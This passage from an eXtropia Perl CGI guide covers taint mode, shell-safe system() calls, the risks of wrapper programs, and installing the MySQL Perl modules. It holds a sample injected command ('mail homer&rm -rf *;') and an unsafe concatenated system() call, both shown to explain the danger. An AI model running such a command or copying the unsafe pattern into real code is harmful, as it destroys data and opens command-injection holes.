Part of Perl's origins came from systems administration. Unfortunately, SysAdmin scripts usually need to be run as a privileged user such as root. Thus, Perl was endowed with the power of taint mode in order to make writing systems administration scripts more secure.

Unfortunately, this means that taint mode is frequently more paranoid than we would like for CGI scripts. This is because SysAdmin scripts were assumed capable of being executed directly from a UNIX shell. This is less secure because a user has a great deal of control over the environment of the UNIX shell including the ability to change the path that executables are located in.

On the other hand, a web server provides a more secure environment because users who run a CGI script do not have the capability of changing the script's search path information.

One example of this is that the PATH environment variable stops CGI scripts from running an external program. This means that we must clear out the path and use absolute paths inside of system calls and other external program calls in Perl using taint mode.

This restriction makes sense for a SysAdmin script where a user could change the PATH environment variable at will and then run the SysAdmin script with potentially changed behavior.

This level of paranoia makes less sense for CGI programs. However, paranoia is what taint mode is all about and it is relatively easy to fix this issue by configuring your script to use absolute paths.

Likewise, when taint mode is on, the current directory is no longer considered valid for loading library or module files. Again, this is paranoid behavior assuming that we could place our own subversive version of a library in the current directory in order to change the behavior of a SysAdmin script. However, CGI scripts called from a browser do not have to worry about arbitrary code being uploaded to a server. If this is possible on your web server, then you have a lot more problems to worry about.

But like the PATH problem, this library issue is easy to resolve as well. If you wish to add library search paths from the current working directory simply use the 'use lib' pragma. The following code would add back the current working directory plus a Modules directory underneath it to the library search path.

```
use lib qw(. ./Modules);
```

10.3.9 Final Taint Mode Tips

Before leaving this section, we'll provide a few take home messages about taint mode.

First, consider logging bad taint/regular expression matches. If you are writing applications which use this module set, please consider utilizing the log feature in order to record the situation in which users enter bad data in your forms.

Second, use the Web Server's error log. The error log is there to catch errors. Even if you are not worried about taint mode problems occurring, you should be checking the error log vigilantly in case other errors are occurring. Remember, taint mode is not a security panacea. Logic errors in your code can result in security issues as well.

Don't Rely Solely on Regular Expressions

This leads us to our third and most major taint mode point. Never trust taint mode to do your work for you. You must always consider all logical flows through your program and consider whether you want them allowed. Always consider security a top priority.

For example, earlier we gave an example of untainting an email address. This is all very well, but it is a very generic untaint operation. What if your application must be more secure than that?

What if you only want to allow certain domains to be emailed or a certain list of email users? If this is the case, then you should always write the most strict code possible. Make sure that only those email addresses can be mailed and no others. Otherwise you may be opening your program up to unexpected

behavior.

Unexpected behavior is undesirable. Avoid at all costs.

However, this does not mean that you should make your program inflexible. If you want to limit email addresses, do not hard code the email addresses in your program. Instead, consider placing an array of valid email addresses in the setup file so that your valid email list can be changed later on.

Avoid Needing to Untaint in the first Place

In addition, avoid passing untainted user variables if you can help it. In our mail example, we passed the email address to the mail program on the command-line. However, there are two better ways of doing this.

First, we can avoid passing the email address as a command line parameter entirely by simply using a different mail program. For example, the UNIX sendmail program has an option to allow the Email address to be placed in STDIN.

A second thing we can do is call the mail program by passing the email address as a parameter array instead of a single string to the `system()` call. When a single string is passed to `system()` Perl passes the string to the shell for processing the command-line parameters. Unfortunately, as we have seen, this means we must filter out shell metacharacters.

If the command-line parameters are passed to the `system()` call as an array of parameters, the `system()` call will not parse them using the shell, and so we can safely pass shell metacharacters in the email address. For example, the following `system()` command is unsafe if the email address is still tainted.

```
system("mail " . $cgi->param("email"));
```

However, we can mitigate this by passing the parameter as an element of the array of parameters instead of one concatenated string. The following code snippet illustrates this method of calling `system().`

```
system("mail",$cgi->param("email"));
```

It turns out that there is a very good reason that we may not wish to pass email addresses that have been untainted by the regular expression we explained earlier. The problem is that if we use the regular expression we discussed previously to untaint variables, we will potentially miss out on some email addresses. The reason for this is that our regular expression was too restrictive.

Valid email addresses on the Internet allow such shell metacharacters as /, &, and %. Consider the & character. Just like the semi-colon discussed previously, & can be used to separate commands. Thus, if we expand the email untaint regular expression to include &, to allow an address like `homer&marge@simpsons.com`, we are potentially opening up a hole. Consider the following command:

```
mail homer&rm -rf *;
```

This is very similar to the command where we used the semi-colon as a shell metacharacter command delimiter previously. While it is true that this scenario is hard to run across, you should take to heart that it is difficult to anticipate what shell metacharacter combination might be called into action.

Avoid the 'Russian Dolls' Scenario

A final piece of advice in taint mode security is to avoid the ''Russian Dolls'' scenario. You should not just think about your program and the program you are passing a tainted variable to. You should also consider all the subsequent programs that might be called.

Usually this is not a problem. But what if it is? In the last taint mode tip, we mentioned that there was a way to call sendmail by passing the email address through STDIN instead of on the command line. This is way safer because then shell escape characters will not get interpreted in STDIN.

Or will they?

What if, behind the scenes, the sendmail binary actually called another program and passed it command line parameters using the email address? If this was the case, our previously 'secure' solution would be cracked wide open.

Is this far fetched? Maybe yes. It turns out that the standard sendmail binary does not suffer from this ''Russian Doll'' scenario.

However, history does repeat itself. While unlikely, it is not entirely out of the question that an ISP running a third party sendmail system would wish to write a sendmail program that converts calls to sendmail to the new third-party mail system. It is conceivable that mistakes might be made in this bridging code even to the extent of passing previously safe variables as command line parameters to the new system.

While this is an unlikely scenario for sendmail, wrapper programs exist everywhere. This is why scripting, especially Perl scripting, is so popular. One Perl program can act as a glue for many other programs. It is Perls strength.

Thus, you might think you are securely calling one program, but if that program in turn calls many other programs, you should be aware of how it is doing it. For example, not everyone else's Perl scripts you might call will use taint mode. And not everyone writes in Perl, so taint mode may not even be available to them as a tool. Always consider the entire path that your variable will take when you pass it along to another program.

10.3.10 Taint Mode Summary

Has all of this given you a headache yet? To some degree it should. Security is serious business. At least take solace in the fact that many people are like us, mere mortals. It does not take a security genius to look at every CGI script to make sure it is secure.

Rather, it takes some amount of vigilance on your part and also on the part of everyone else using your source code to make sure your programs are secure. It's not a matter of a one time security check either. New exploits are published all the time, and subsequently new fixes are published all the time.

To some degree publishing your code for securing programs is the best thing you can do to help ensure safe CGI. The more you use objects that have been checked over by a community of programmers, the more you can rely on the program being bug free including security bugs.

;o)

11 Installing MySQL and related Perl modules locally.

11.1 Installing MySQL and related Perl modules locally.

This document explains how to install their own working copy of MySQL (on a UNIX machine). The MySQL manual states that the following drivers are needed to support PERL. (You will need a gcc or other ‘‘C compiler’’ before attempting these installations) Data-Dumper-2.101 DBI/DBI-1.13.tar.gz Data/Data-ShowTable-3.3.tar.gz DBD/Msql-Mysql-modules-1.2217.tar.gz I installed them as follows: (The MySQL manual indicated that order is important.) The following archives are required (version numbers may have changed, these are the ones I used):

a. If your platform has a C compiler AND is supported by xsubpp:

```
gzip -c -d Data-Dumper-2.101.tar.gz | tar xvf -
cd Data-Dumper-2.101
perl Makefile.PL
make test
make install
gzip -cd DBI-1.13.tar.gz | tar xf -
cd DBI-1.13
perl Makefile.PL
make
make test
make install
gzip -cd Data-ShowTable-3.3.tar.gz | tar xf -
cd Data-ShowTable-3.3
perl Makefile.PL
make
make install # Don’t try make test, the test suite is broken
```

INSTALLATION:

1. Unpack the archive

```
sh Data-ShowTable-3.1.shar
```

or: gnutar xvfz Data-ShowTable-3.1.tar.gz

2. Generate the ‘‘Makefile’’:

```
perl Makefile.PL
```

Be sure that you are using perl 5.002 or later.

3. Make the install files:

```
make
```

4. Test the new files:

```
make test
```

5. Install the modules and ‘‘showtable’’ program into the configured Perl library and binary directories.

```
make install
cd ..
gzip -cd Msql-Mysql-modules-1.2217.tar.gz | tar xf -
cd Msql-Mysql-modules-1.2217
perl Makefile.PL
make
make test
make install
```

During ‘‘perl Makefile.PL’’ you will be prompted some questions. In particular you have to choose the installed drivers (MySQL, mSQL2 and/or mSQL1). The MySQL driver will be called DBD::mysql, a single mSQL driver will be called DBD::mSQL. If you want to support both mSQL1 and mSQL2, they former will be DBD::mSQL1. (This information is taken directly from the README and INSTALLATION files of the various packages, as well the MySQL manual.)

11.2 AUTHOR

Brett Winn <brett@panomnia.com>

;o)

12 Appendix A: Further References

12.1 References

There are two primary references that supplement this guide.

- **[Some eXtropia Application] Guide**

  The guide is specific to a particular eXtropia application such as WebGuestBook. If you are reading this, you are most likely interested in obtaining more detail on how a particular application works.

- **eXtropia Application Development Toolkit Guide**

  This guide contains further details on the various components that make up typical eXtropia applications. The following is small list of topics covered in the ADT guide.

  - **How the ADT Works**
  - **How To Use References**
  - **Views and Filters**
  - **DataSource**
  - **Encryption**
  - **Mail**
  - **Sessions and Session Manager**
  - **DataHandlers**
  - **Authentication and Authentication Manager**

  The ADT guide can be found at http://www.extropia.com/support/docs/adt/

In addition, there are other documents that provide an excellent supplement to this one. The following references stand-out as being some of the most important supplemental literature:

- **The Mod_Perl Guide by Stas Bekman**

  http://perl.apache.org/guide/

- **The World Wide Web Security FAQ by Lincoln Stein**

  http://www.w3.org/Security/faq/

- **A Variety of Tutorials on Web Programming by eXtropia**

http://www.extropia.com/tutorials.html

12.2 Acknowledgements

Of course, very few open source projects are done alone-- including this documentation.

- **Selena Sol (selena@extropia.com)**

  Selena Sol wrote this original guide.

- **Gunther Birznieks (gunther@extropia.com)**

  Gunther wrote the updates and formatted it for POD.

- **Li Hsien Lim (hsien@extropia.com)**

  Li Hsien was the first ‘‘beta-tester’’ for this documentation.

- **Stas Bekman (stas@stason.org)**

  Stas wrote the software that generated the HTML and PDF for this guide.

- **Josh Hill (josh@extropia.com)**

  Josh tested Stas’s program and tested the docs.

- **Chris Hughes (chris@fysh.org)**

- **Lyndon Drake (lyndon@kcbbs.gen.nz)**

- **Nikhil Kaul (nikhil.kaul@barclayscapital.com)**

12.3 Changes

No changes yet. Latest Documentation version is Sep 3, 2001.

- **Updated docs. Links to extropia.com fixed.**

;o)

Table of Contents: